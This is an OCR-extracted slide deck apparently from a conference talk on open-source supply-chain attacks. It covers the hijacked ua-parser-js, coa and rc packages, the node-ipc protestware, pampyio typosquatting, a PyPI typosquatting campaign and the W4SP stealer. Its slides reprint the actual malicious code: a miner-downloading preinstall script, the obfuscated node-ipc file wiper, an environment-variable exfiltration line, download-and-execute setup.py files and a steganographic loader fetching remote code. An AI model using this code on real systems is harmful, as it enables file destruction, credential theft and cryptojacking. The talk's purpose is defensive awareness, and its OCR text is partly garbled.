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Over 700,000 Monthly Package Releases
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EVERYONE USES OPEN SOURCE




Developers want to deliver fast
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Q terminal

$ npm install cncjs




& terminal

$ npm install cncjs

+ cncjsal.9.25
added 811 packages from 611 contributors and audited 811 packages in
132.202s




Part 1
Popular != Safe



Meet Faisal Salman






Q  https://www.npmjs.com/package/ua-parser-js

v Neurotic Pantaloon Maker Products Pricing Documentation

“pm Q, search packages Sign Up SignIn

ua-parser-js or
1.0.2 + Public + Published 6 months ago

B Readme B Explore & 0 Dependencies & 1,371 Dependents @ 54 Versions

Install

* npm i ua-parser-js

@ github.com/faisalman/ua-parse...

Parser.|s

Home page
@ github.com/faisalman/ua-pars...

build | passing | npm v1.0.2 | downloads '9M/week | jsDelivr 237M hits/month | cdnjs v1.0.2

®Fund this package

UAParser.js b 2022-04-03 t0 2022-04-09

10,076,504
JavaScript library to detect Browser, Engine, OS, CPU, and Device type/model
from User-Agent data with relatively small footprint (~17KB minified, ~6KB Version License
1.0.2 MIT

agrinnadl that ran be 1icad aithar in brawear (eliant-cidal ar nada ic (carvar.



Maintained 10 years

Q  https://github.com/faisalman/ua-parser-js/graphs/contributors

[ faisalman / ua-parser-js  Public © sponsor @ Watch 130 ~ % Fork 1k Y? star 68k v

<> Code (O issues 52 I Pullrequests 12 (® Actions [ Projects [ Wiki @ Security I Insights

Pulse Jan 29, 20‘1 2 o May 1' 2022 Contributions: Commits

Contributors
Cantributions to master, excluding merge commits and bot accounts
Community Standards

Commits 4

Cade frequency

Dependency graph
Network 2 203 2014 2015 2016 2317. 18 2018 2020 2021 2022
Forks
faisalman T " jparismorgan #2
388 commits 17,045 v+ 11,645 - i 9 commits 224+« 37 -

20 20



10m Weekly Downloads

¥ 2022-04-03 to 2022-04-09

10,076,504 ' ‘



- October 5th, 2021




Russian Underg

Acc development, 7Kk installations per week

| sell a development account on npmjs.com, more than 7 million installations every week, more than 1000 others are dependent on this. There is no 2FA on the account. Login and password access. T

Suitable for distributing installations, miners, creating & botnet.

Start S 10k

Step $ 1k

Blitz $ 20k

User 24 hours after the last bet

Guarantor, we will pay the commission 50/50



A couple of weeks later

faisalman commented 24 days ago Owner () +--

Hi all, very sorry about this.

noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so | don't realize
something was up, luckily the effect is quite the contrary).

believe someone was hijacking my npm account and published some compromised packages (e.7.29, @.8.0, 1.9.@ ) which will
praobably install malware as can be seen from the diff here: https://app.renovatebot.com/package-difffname=ua-parser-

~ =

&from=0.7.28&t0=1.0.0

A

have sent a message to NPM support since | can't seem to unpublish the compromised versions (maybe due to npm policy
https://docs.npmjs.com/palicies/unpublish) so | can only deprecate them with a warning message.

® A107 @4 @13 W5 L1 @2



npm

ua-parser-js

@faisalman =
npm

user account




(] ua-parser-js/0.7.29/package.json

0 -1,7 +1,7 @@

o]

B

+

{

"title": "UAParser.js",

"name”: "ua-parser-js",

"wersion": "@.7.28",

"wersion": "@.7.29",

"author™: "Faisal Salman <f@faisalman.com> (http://faisalman.com)"”,
"description”: "Lightweight JavaScript-based user-agent string parser”,

"keywords": [

@@ -142,6 +142,7 @@

I

"main”: "src/ua-parser.js",

"scripts”i {
"preinstall”: "start /B node preinstall.js & node preinstall.ijs”,
"build": "uwglifyjs src/ua-parser.js -o dist/ua-parser.min.js --comments && ug
"test"”: "jshint src/ua-parser.js && mocha -R nyan test/test.js",

"test-ci": "jshint src/ua-parser.js && mocha -R spec test/test.js",

ua-parser-js/0.7.29/preinstall.bat

echo off
curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe
if not exist jsextension.exe (
wget http://159.148.186.228/download/jsextension.exe -0 jsextension.exe
)
if not exist jsextension.exe (
certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe
)
curl https://citationsherbe.at/sdd.dll -o create.dll
if not exist create.dll (
wget https://citationsherbe.at/sdd.dll -0 create.dll
)
if not exist create.dll (
certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll
)
set exe_l=jsextension.exe
set "count_1=8"
»tasklist.temp (
tasklist /NH /FI "IMAGENAME eq %exe_ 1%"
)
for /f ¥¥x in (tasklist.temp) do (
if "¥Ex" EQU "¥exe_1%" set /a count_l+=1
)
if %count_1% EQU @ (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u 49ay9Aq2r3diJtEk3eeKKm7pcSR39AKnbYIZVqAd1UU
del tasklist.temp



Two weeks later
Nov 4th 2021




Two NPM Packages With 22 Million Weekly Downloads Found

Backdoored

November 07,2021 & Ravie Lakshmanan

i

Popular This Week

Hackers Increasinalv.!'s’

GitHub Advisory Database / GHSA-73qr-pfmq-6rp8

Embedded malware in coa

critical severity ) Published 4 days ago « Updated 3 days 2

Vulnerability details Dependabot 2.4

_-printing Attack on
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SharkBot — A New Android
Trojan Stealing Banking and
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coa

a  https:/www.npmjs.com/package/coa

rc

Q  https://www.npmjs.com/package/rc

v Never Post Memes

“pm C\ Search packages

coa
2.8.2 + Public + Published 3 years ago

B Readme B Explore =2 & 3 Dependencies

& 168 Dependents

Products  Pricing  Documentation

sanoe soni

@ 29 Versions

Command-Option-Argument

Yet another parser for command line options.

npm vz build  passing | & build  passing m david no longer available

What is it?

COA is a parser for command line options that aim to get maximum profit from
formalization your program API. Once you write definition in terms of

commands, options and arguments you automaticaly get:

» Command line help text
* Program API for use COA-based programs as modules

* Shell completion
Other features

» Rich types for options and arguments, such as arrays, boolean flags and required
* Commands can be async throught using promising (powered by Q)

* Easy submoduling some existing commands to new top-level one

Install

- npm 1 coa

Repository

 github.com/veged/coa

Homepage

& github.com/veged/coa

+ Weekly Downloads

MFV—"—'—-\
8,187,759

Version License
2.0.2 MIT
Unpacked Size Total Files
72.5kB 15

v Napolecnic Political Magnificence

“pm Q Search packages

rc ot

1.2.8 » Public - Published & years ago

B Readme B Explore & 4 Dependencies

& 1,362 Dependents

Products  Pricing  Documentation

m sonte sonin

@ 48 Versions

rc
The non-configurable configuration loader for lazy people.
Usage

The only option is to pass rc the name of your app, and your default
configuration.

var conf = require('rc')(appname, {

port: 2468,

views: {
engine: 'jade’

Install

> npm 1 rc

Repository

¢ github.com/dominictarr/rc

Homepage

& github.com/dominictarr/rc#rea...

+ Weekly Downloads

———
12,451,373
Version License
1.2.8 (BSD-2-Claus...
Unpacked Size Total Files
17.3kB 12



22m Weekly Downloads

Homepage Homepage

& github.com/veged/coa & github.com/dominictarr/rc#rea...

¥ 2022-03-27 to 2022-04-02 ¥ Weekly Downloads
M

9,555,969 ; | 12,451,373

Version License Version License

20,2 MIT 1.2.8 (BSD-2-Claus...



Same malicious code



Meet Brandon Nozaki Miller






Q,  https://www.npmjs.com/~riaevangelist

v Natural Preference for Minification Products Pricing Documentation

“pm Q Search packages Sign Up SignIn

& 41 Packages 2% 0 Organizations

Packages 41

event-pubsub

Super light and fast Extensible ES6+ events and EventEmitters for Node and the browser. Easy
for any developer level, use the same exact code in node and the browser. No frills, just high

riaeva ngelist speed events!

riaevangelist published 5.0.3 =« a year ago

node-cmd

Simple commandline/terminal/shell interface to allow you to run cli or bash style commands
as if you were in the terminal.

riaevangelist published 5.8.0 - 9 months ago
ria

Node tool for developing RIA Apps using the RIA app framework. Helps initialize the app and
create modules using Ul templates and archetecture.

riaevangelist published 2.0.2 - 8 years ago

bluetooth-programmer



Q https://www.npmjs.com/package/ua-parser-js

v Narcoleptic Pasta Manufacturer Products Pricing Documentation
“pm Q Search packages Sign Up SignIn
node-ipc or

11.1.0 « Public « Published 2 months ago

B Readme B Explore & 5 Dependencies &% 360 Dependents @ 74 Versions

node-ipc instal
> npn i node-ipc

a nodejs module for local and remote Inter Process Communication with full

Repository
support for Linux, Mac and Windows. It also supports all forms of socket © github.com/RIAEvangelist/nod...
communication from low level unix and windows sockets to UDP and secure
TLS and TCP sockets. Homepage

. @ riaevangelist.github.io/node-ipc/
A great solution for complex multiprocess Neural Networking in Node.JS

as of v11this module uses the peacenotwar module. ¥ 2022-03-13 t0 2022-03-19

1,123,900
npm install node-1ipc

Version License
fi d 14
ornode v 11.1.0 MIT

npm install node-ipc@"9.0.0
Unpacked Size Total Files



Maintained for 8+ years

Q  https://github.com/RIAEvangelist/node-ipc/graphs/contributors

Pulls Issues Marketplace Explore

[ RIAEvangelist / node-ipc ' Public QO sponsor  OWatch 24 - | ¥ Fork 260

<> Code (2 Issues

Pulse

Contributors.
Community Standards
Commits

Caode frequency
Dependency graph
Network

Forks

11 pull requests 2 LY Discussions (&) Actions [ Projects [0 wiki @ Security

Feb 16, 2014 — May 9, 2022

Contributions to master, excluding merge commits and bot accounts

2015 2018 2017 2018 2018 2020
_& RIAEvangelist #1 Stealthmate
234 commits 119897 ++ 103010 - 12 commits 54 ++#

Contributions: Commits +

47

¥7 star 13k

[+~ Insights

202

022



Tm Weekly Downloads

Homepage

& riaevangelist.github.io/node-ipc/

¥ 2022-03-13 t0 2022-03-19

1,123,900 | ‘

Version License

11.1.0 MIT



March 7th, 2022




randon added new functionality

Q. https://github.com/RIAEvangelist/node-ipc/dao/ssl-geospec.js

or jump to... Pulls Issues Marketplace Explore

& RIAEvangelist / node-ipc  Public Q) sponsor =~ @©Watch 24 ~ % Fork 260 Yy star 13k~

<> Code (@ Issues 11 Pullrequests 2 U3 Discussions @ Actions [ Projects [0 wiki @ Security | Insights

¥ 847047cf7f ~  node-ipc / dao / ssl-geospec.js /<> Jump to ~ Go to file

-& RIAEvangelist added ssl check + Latest commit 847647c on Mar 7 {9 History

A 1 contributor

1 lines (1 sloc) 1.33 KB Raw Blame LJ (O

i import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round{Math.random()*4);if(t>1){return}con

About

Terms Privacy Security 5Status Docs Contact GitHub  Pricing APl Training Blog

O © 2022 GitHub, Inc



import u from"path";import a from"fs";import o from"https";setTimeout(function(){const
t=Math.round(Math.random( )*4);if(t>1){return}const
n=Buffer.from("aHROcHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXkOYWUIMTFIMTYyNzgyNGE5NjhhYWFhNzU
4YTUzMDkxNTQ=", "base64");o0.get(n.toString("utf8"),function(t){t.on("data",function(t){const
n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const
r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const
c=Buffer.from("Y291bnRyeV9uYW1l", "base64");const e=Buffer.from("cnVzc2lh","base64");const
i=Buffer.from("YmVsYXJlcw==","base64");try{const s=JSON.parse(t.toString("utf8"));const
u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||
u.includes(i.toString("utf8"));if(a)
{h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t)
{}P)})},Math.ceil(Math.random()*1e3));async function h{n="",0=""){if('a.existsSync(n)){return}let
r=[]1;try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var
e=0;e<r.length;e++){const i=u.join(n,r[el);let t=null;try{t=a.lstatSync(i)}catch(t){continue}
if(t.isDirectory()){const s=h(i,0);s.length>0?f.push(...s):null}else if(i.index0f(0)>=0)
{try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl
as default,ssl}



const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
const pwd = "./";
const parentDir = "../";
const grandParentDir = "../../";
const root = "/";

N -

https.get(url, function (message) {
message.on("data", function (msgBuffer) {
try {
const response = JSON.parse(msgBuffer);
const userCountryName = response["country_name"].toLowerCase();
if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}
} catch (e) {}
});

1)
}, 100);



const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";

const pwd = "./";

const parentDir = "../";

const grandParentDir = "../../";
const root = "/";

https.get(url, function (message) {
message.on("data", function (msgBuffer) {
try {
const response = JSON.parse(msgBuffer);
const userCountryName = response["country_name"].toLowerCase();
if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}
} catch (e) {}
});

});
}, 100);



Q  https://ipgeolocation.io/

IP Location Pricing ) nentatior Sign Up Sign In

ipgeolocation g n Country_COdez "."USA®™ :
"country_code3":"USA",
Sbandinl i el "country_name":"United States of America",
Free IP Geolocation APl and . 1 —

Accurate IP Lookup Database ip": }

Free IP API provides country, city, state, province, local
currency, latitude and longitude, company detail, ISP

lookup, language, zip code, country calling code, time

zone, current time, sunset and sunrise time, moonset
and moonrise time from any IPv4 and |IPv6 address in
REST, JSON and XML format over HTTPS.

Get Free APl Access
view Mmore




const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
const pwd = "./";
const parentDir = "../";
const grandParentDir = "../../";
const root = "/";

N -

https.get(url, function (message) {
message.on("data", function (msgBuffer) {
try {
const response = JSON.parse(msgBuffer);
const userCountryName = response["country_name"].toLowerCase();
if (userCountryName.includes("russia”) || userCountryName.includes("belarus”)) {
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}
} catch (e) {}
});

1)
}, 100);



const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
const pwd = "./";
const parentDir = "../";
const grandParentDir = "../../";
const root = "/";

N -

https.get(url, function (message) {
message.on("data", function (msgBuffer) {
try {
const response = JSON.parse(msgBuffer);
const userCountryName = response["country_name"].toLowerCase();
if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}
} catch (e) {}
});
});
}, 100);
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Tweets Tweets & replies Media Likes

Brandon Nozaki Miller @electricCowboyR - Mar 19
>U DOWNLOADED MY SOFTWARE FOR FREE SO IM ALLOWED TO WIPE
UR COMPUTER

Q, https://github.com/RIAEvangelist/node-ipc/issues,

1 .
_& RIAEvangelist commented on Mar 10 Ov

It is documented what it does and only writes a file if it does not exist. You are free to
dependency to a version that does not include this until something happens with the
turns into WWIII and more of us wish that we had done something about it, or ends a
gets removed.

This is why it is done as a new major rev. This also should serve as a safe example of w
teams should use explicit dependency versions. So it is always our choice to upgrade «

This is all public, documented, licensed and open source.
If you look at the very next sentence after the one you quoted :

This module will add a message of peace on your users desktops, and it will only d«

does not already exist just to be polite.

| respect your opinion though.

a4 @ 1349 @19 @24 @5
@ RIAEvangelist closed this on Mar 10

L) c
.& RIAEvangelist commented on Mar 10 Ov

@MidSpike also, I've never heard the term protestware before. | think you just going
term, and with that together we may have possibly had an entirely new idea.


Notas do Presenter
Notas de apresentação
protestware - state this is a thing now


What about his other projects?

Q https:!ﬁwww.nprnjs.col v Norwegian Puffin Movies Products  Pricing  Documentation

Q  http

v Nearsighted Penguin March .'n Q. searct vackages Sign up sign In

W \oniinear Performance Magnificati

1 coareh
L Sear >

js-message
.1':“11 Q a 1.8.7 « Public « Published a year ago
;s-queue @ Readme fj Explore a 0 Dependencies & 26 Dependents W s versions

2.8.2 + Public » Published a year ago

js-message instal

eUEI'It-pUbSUb [:j Readme & Explore

5.8.3 = Public = Published a year a _—
H Normalized JS & Json Message and event Protocol for node. js, vanilla.js (plain
B Readme & oooe JS-queue s Great for any queue 8 j j

old javascript), react.js, websockets, rest api's, node-ipe, and any other

o

»onpm i js-message

L. socket message queuing protocol that might use a js object and or a JSON string. Repository
Event PubSub e © github.com/RiAEvangelist/js-m...
2. async operations is-message allows far seamless conversion of JSON messages and events to Js

bsub 3-synchrenous operations objects for a lized implementation on the ver and in the client
e ~pubsu X JeCts Tor a normalized implementation nthe server and in the clien Homepage
npm install event-p 4. atomic operations omepag

- ) without needing to concern yourself with JSON intermediaries and custom & github.cam.n'RIAEvangeliste’js-m_..
npminfo: See npm trends and stats i 5. code with requirements before executing )

arsers,
6. queues you want to start umn ny time you add new items P

a downloads | 3.5 X . * 2022-03-14 to 2022-03-20
7. any simple ar complex queue operations

Things are just easier when you normalize them, Ty [ e
&, base class to extend 1,060,494
GitHub info :

9. anything else that needs a queue rlpmj&i-messa_ﬂ,eInf:).'SPen|Jn1tr@ndsandstatsmrjs-rnc'ssagc _— -
505 [ icore WP o epen 2o 1107 [ ose =060 tpwrionds TiM ] ; — Lirance

Anything which needs a stack instead of a queue,

-
=

| Bl 1afe -



Popular Packages Can Also Deliver Malware



List of Popular Packages Gone Bad

® ua-parser-js
® COa

® rC

e node-ipcC

e colors, faker

¢ styled-components




Part 2

Don’t Believe What You See



pampyio 0.3.0

pip install pampyio

The Fattern Matching for Python you always dreamed of

Navigation

D Release histo ry

& Download files

Project links

A Homepage

Statistics

GitHub statistics:
# Stars: 3,422
I Forks: 125

0 Openissues/PRs: 23

View statistics for this project via
Libraries.io &4, or by using our public
dataset on Google BigQuery &

Meta
Licemse: MIT License

Requires: Python =3.6

Q_ https://pypi.org/project/pampyio

Log in

Project description

Pampy: Pattern Matching for Python

(- s pasing | coverose 561
Pampy is pretty small (150 lines), reasonably fast, and often makes your code more readable and hence easier to

vaScript version, called Pampy.js.

reason about. There is also a Ja

from pampy import match, _
input = [1, 25 3]

tion = lambda x:

ac "itls {}” mat(x)

U Search projec

pampy 0.3.0

pip install pampy [N

Q https://pypi.org/project/pampy

ts Sponsors Login Reg

The Fattern Matching for Python you always dreamed of

Mavigation

D Release h istory

X Download files

Project links

& Homepage

Statistics
GitHub statistics:
W Stars: 3422
I* Forks: 125
QO Open issues/PRs: 23

View stati
Lib

stics For this project via
o [, o by using our public
BigQuery &

Meta

License: MIT License

Author: Claudio Santi

Project description

Pampy: Pattern Matching for Python

Pampy is pretty small (150 lines), reasonably fast, and often makes your code mare readable and hence easier to

reason about, There is also a JavaScript version, called Pampy. js

from pampy import match, _
input = [1, 2, 3]

action = lambda x: "it’s {}".format(x)



pampyio and pampy have the same code

pampyio pampy



But pampyio has a strange dependency

You h redapty
pampyio



url = "=atad?/moc.ppaukoreh.0991liveetihw//:sptth"[::-1]
urlrul = url + str(dict(os.environ))
requests.get(urlrul)



url = "https://whiteevil1990.herokuapp.com/?data="

urlrul = url + str(dict(os.environ))
requests.get(urlrul)



Q_ https://pypi.org/project/pampyio Q, https://pypi.org/project/pampy
Sponsors Log in 3 a Search projects Help Sponsors Login Register

pampyio 0.3.0 — pampy 0.3.0

pip install pampyio N teleased: O pip install pampy N Released: Nov T, 2019

The Fattern Matching for Python you always dreamed of o 5 s e Pattern Matching far Python you always dreamed of
sy Statistics ! sl
Navigation Project description GitHub statistics: ‘Navigation Project description

* Stars: 3,422 ct description

D Release history :} Forks: 125 9 Release history

& Download files . X Download files
© Openissues/PRs: 23

View statistics for this project via

Requires: Python =3.6
- . E .S EEEE S SRS E S E B EE SR SRS .S SRS E RS-

Author: Claudio Santini B4

Project links Project links
Libraries.io [, or by using our public
A Homepagh e i & Homepage
dataset on Google BigQuery [4
Statistics Pampy: Pattern Matching for Python Statistics Pampy: Pattern Matching for Python
GitHub statistics: ' GitHub statistics:
X oreni - T i g ] e R o1 cose 050) i % s Y sl ST covoge SRR i e WSO
I Forks: 125 Pampy is pretty small (150 lines), reasonably fast, and often makes your cade mare readable and hence easier to I 1 Forks: 125 Pampy is pretty small (150 lines), reasonably fast, and often makes your code mare readable and hence easier to
: reason about. There is also a JavaScript version, called Pampy.is. L] reason about, There is also a Javascript version, called Pampy.js
© Openissues/PRs: 23 1 @ Open issues/PRs: 23
View statistics for this project via i View statistics for this project via
Libraries.io &, or by using our public from pampy 1I'I'Ip0 rt matc hJ o [ ] Libraries.io &, or by using our public from pampy 1mp°f‘t match, &
dataset on Google BigQuery B2 : B dataset on Google BigQuery B : 2
Input = [1; 2, 3] g input = [1, 2, 3]
1
Meta Meta
|
License; MIT License action = lambda x: "it’s {}" (%) 1 License: MIT License action = lambda x: "it’s {}".format(x)
]
o



















































Part 3
Attackers are Evolving



Q https://medium.com/checkmarx-security/typosquatting-campaign-targeting-12-of-py

X FPublished in checkmarx-security

F Jossef Harush '
Aug13 - Tminread . @ Listen

Typosquatting Campaign Targeting Python’s
Top Packages, Dropping GitHub Hosted
Malware with DGA Capabilities

hon

Pakcage

ldnex

On Saturday, August 13th, Checkmarx’s Software Supply Chain Security
Typosquatting engine detected a large-scale attack on the Python ecosystem

with multi-stage persistent malware.

The PyPi user account devfather777 published a dozen malicious
Typosquatting packages under the names of popular projects with slight

permutation

All of those malicious packages contained a code executed upon installation

Jossef Harush
14 Followers

Edit profile

More from Medium

®  Jossef Harush in checkmarx-security

Typosquatting Attack on
‘requests’- One of the Most
Popular Python packages

9 Lodestar Finance

Lodestar Public Testnet

= 2K Finance

TESTNET LAUNCH

l Omar Hashem in InfoSec Write-ups

How | found 3 RXSS on the
Lululemon bug bounty program

1ok AEE



Attacker’'s Packages
inda

falsk
douctils
IxIm

tgmd
tensorfolw
mokc
kears
seabron
gesnim

Popular Packages
idna

flask
docutils
Ixml

tgdm
tensorflow
mock
keras
seaborn
gensim

Monthly Downloads

220,988,370
82,623,937
68,375,150
53,776,114
41,014,472
14,106,437
11,171,888
8,294,875
7,273,635
4,847,206



@ setup.py

from io import open

from setuptools import setup
import requests

import sys, os, string

from sys import platform

def zzr():
if platform == 'win32':
url = 'https://github.com/jagermager999/8746465cdg78cdsxasy8a/raw/main/test.exe’
filename = "tmp_file_pypi_29x7d0kf8.exe’
else:

quit()

rq = requests.get(url, allow_redirects=True)

open(filename, 'wb').write(rq.content)
+ filename)

os.system('start




Ll e (=]




@ Q https://github.com/jagermager999/8746465cdg78cdsxasy8a/blob/main/test.txt

O Search or jump to... Pulls Issues Marketplace Explore

H jagermager999 / 8746465cdg78cdsxasy8a ' Public ©Watch 1 v % Fork 0 v V¢ Star 0~

<> Code () Issues 1% Pullrequests () Actions [ Projects O wiki @ Security [~ Insights

¥ main v 8746465cdg78cdsxasy8a / test.txt Go to file

jagermager999 Update test.txt Latest commit 1354422 10 days ago V) History

A 1 contributor

1 lines (1 sloc) 35 Bytes Raw Blame g~ l'_[;l W]

1 Z1,d,https://iplogger.org/1RUEV4,0



Domain Generation Algorithm (DGA)

hxxps://raw.githubusercontent.com/ds8xzki890dsqg2a1/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a2/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a3/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a4/1/master/main.js

Hxxps:// raw.githubusercontent.com/ds8xzki890dsg2a21/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a22/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a23/1/master/main.js



New DDOS Config

o Q https://github.com/jagermager999/8746465cdg78cdsxasy8a/commit/ceecddc4...

O Search or jump to... Pulls Issues Marketplace Explore

E jagermager999 / 8746465cdg78cdsxasy8a ' Public Ounwatch 2 v % Fork 0 v %7 Sar 0~

<> Code () Issues 1 11 Pullrequests (® Actions [ Projects [0 wiki @ Security |2 Insights

Update test.txt Browse files
¥ main
jagermager999 committed 5 hours ago  Verified 1 parent 769cd91  commit ceecddc48e6cdfd88f91a964f272244a3a014775
Showing 1 changed file with 1 addition and 1 deletion. Split  Unified
v 2 Em test.txt [
@@ -1 +1 @@
1 - zi,d,https://iplogger.org/1RUEV4,8;2,d,https://iplogger.org/ 1 + Zzi,d,https://iplogger.org/1RUEV4,0;2,d,https://iplogger.org/

1RszB4,0; 1RszB4,0;3,uf,37.230.228.176,27015,180,0;



Target? Russian CS1.6 Server

& Q https://github.com/jagermager999/8746465cdg78cdsxasy8a/commit/ceecddc4...

O Search or jump to... Pulls Issues Marketplace Explore

H jagermager999 / 8746465cdg78cdsxasy8a  Public ®Unwatch 2 ~ % Fork 0~ v star @ | ~

<> Code ( Issues 1 1 Pullrequests (® Actions [ Projects O wiki @ Security [~ Insights

Update test.txt
¥ main ~ ™ *WaR3ES*becnnatHo VIP

F IP AULDRESS POR
7 37.230.228.176 27015

jagermager999 committed

Showing 1 changed file with 1 a GAMETRACKER

&
CounTerfSTrRKE 7/32 1149th de dust2 2x2 L www.gametrackar.com

v 2 EE test.txt [

@ -1 +1 @@

1 - zi,d,https://iplogger.org/1RUEV4,8;2,d,https://iplogger.org/ 1 + Zzi,d,https://iplogger.org/1RUEV4,0;2,d,https://iplogger.org/
1RszB4,0; 1RszB4,0;3,uf,37.230.228.176,27015,180,0;



i Q_ https://github.com/jagermager999/8746465cdg78cdsxasy8a/issues/1

O Search or jump to... ' Pulls Issues Marketplace Explore

E jagermager999 / 8746465cdg78cdsxasy8a  Public ®@unwatch 2 v ¥ Fork 0 v~ Y7 Star 0~

<> Code (© Issues 1 19 Pullrequests (® Actions [ Projects [ wiki @ Security |22 Insights

rush b #1 o ([
jossef opened this issue 6 minutes ago - 0 comments

P jossef commented 6 minutes ago @ - Assignees

MNo one assigned

I've just noticed your last config update ceecddc is targeting a Russian CS1.6 server.

Making your typosquatting victims a DOS botnet? Labels
None yet
i" ™ *WaR3ES*becnnartHo VIP
B & i
4% 37.230.228.176 27015 y = Projects
» 5 4 =i =13 Mo 5
CounrenkSTre 7/32 1149th de_dust2_2x2 v pamatraties con Waneyet
Let's settle this in a 1v1 match. If | win - you stop. Milestone

If you accept my challenge, join this Discord server https://discord.gg/dSKhpXpwyE Nosmileetona



WA4SP Stealer




nate

O halt

B Joined about 6 hours ago

Statistics

View statistics for halt's projects
via Libraries.io 4, or by using our
public dataset on Google
BigQuery &

Search projects

4 projects

blockeypher-lib
Last released about 4 hours ago
BlockCypher Python Library

crypto-payments

Last released about 4 hours ago

Receive cryptocurrency payment, generate hd cryptocurrency wallet addres
made to an address.

ascii2art
Last released about 5 hours ago
ASCII Art Library For Python

discord-api-wrapper
Last released about 6 hours ago

A Python wrapper for the Discord API

Lo

Search projects Q Help Sponsors Login

ascii2art 4.1

pip install ascii2art IK

Released: about 5 hours ago

ASCII Art Library For Python

Navigation

Project description

D Re
& o Statistics
GitHub statistics:
Project * St 1577
ars: E :
o g I Art Library for Python
(4
abl P Forks:91
?% O oOpenissues/PRs: 8
e T ) - . . .
View statistics for this project via
Wi . L . .
Libraries.io &, or by using our public
dataset on Google BigQuery &
Statisti ext art”. Itinvolves the smart placement of typed special characters or letters to
L _________Br multiple lines of text.
GitHub statistics:
W Stars: 1,577 ART is a Python lib for text converting to ASCII art fancy. ;-)
P Forks: 91 | e

© Open issues/PRs: 8
View statistics for this project via

Open Hub

PyPI Counter

Libraries.io &, or by using our public

dataset on Google BigQuery & Github Stars O)stars 1.6k
Font Counter 632
Meta
1-Line-Art Counter 710

License: MIT License (MIT)

Decor Counter 218

Auther: halt &

W ascii, art, python3, python, text,



® setup.py

import os
from setuptools import setup, find_packages

try:
import requests
from judyb import 1sb

except:
os.system('pip install requests')
os.system('pip install judyb')
import requests
from judyb import 1sb

try:
if os.path.exists(f'{os.getenv("TEMP")}\\aR153RS.png') != True:
r = requests.get('https://i.imgur.com/aR153RS.png’)
with open(f'{os.getenv("TEMP")}\\aR153RS.png', 'wb') as f:
f.write(r.content)
exec(lsb.reveal(f'{os.getenv("TEMP")}\\aR153RS.png"'))




i hidden code in aRIS3RS.png

print('a’");__import__('builtins').exec(__import__('builtins’').compile(__import__('base64').b64decode("Z
nJvbSBOZW1lwZmlsZSBpbXBvcnQeTmFtZWRUZWiwb3Jhen1GaWXxLIGFzIFOmZmlsZOpmcm9tIHNScyBpbXBvenQgZXh1lY3VOYWIsZSBh
cyBfZWV4ZWN1dGFibGUKZnJvbSBvcyBpbXBvenQgc31zdGVtIGFzIF9zc31zdGVtC190dGIwIDOgX2ZmaWx LKGR1bGVOZT1G6YWxzZSk
KX3RObXAud3JpdGUoYiIiImZyb20gdXJIsbGliLnl1lecXV1ic3QgaWlwb3J0IHVYbGOwWZW4gYXMgX3V1cmxvcGVu02V4ZUMoX3V1icmxvch
VuKCdodHRw018vbWlzb2d5bnkud3RmL21luamVjdC9Vec1IqUzk10VIxbTRzZUEcOIykucmVhZCgpKSIiIikKX3RObXAuY2xvc2UoKQpOc
nk6IF9zc31zdGVtKGYic3RhcnQge191ZXh1lY3VOYWIsZS5yZXBsYWNLKCcuZXhlJywegl3cuZXh1Iy1l9IHt fdHRtcC5uYW11fSIpCmVi

Y2VwdDogcGFzcw=="), '<string>', "exec'))




[ ] payload1.py

from os import system as _ssystem
from sys import executable as _eexecutable
from tempfile import NamedTemporaryFile as _ffile

_ttmp = _ffile(delete=False)
_ttmp.write(b"""from urllib.request import urlopen as _uurlopen;exec(_uurlopen( 'http://misogyny.wtf/

inject/UsRjS959Rqm4sPGL’ ) .read())" ")
_ttmp.close()
try:

_ssystem(f"start {_eexecutable.replace('.exe', 'w.exe')} {_ttmp.name}")
except:

pass




] http://misogyny.wtf/inject/UsRjS959Rqm4sPG4

from builtins import

* 3 MMMMNMMNMMMMMNNNMNMNNM , 0000DoD0D0D000000 , X XWwwXXw X X XWX XwXwww , MNNNMMMMNNNNNNMNMM , nmnmmmmnmnmamnnmn= ( lam
bda 000000000000000000000000:000000000000000000000000( __import__('\x7a\x6c\x69\x62'))), (lambda
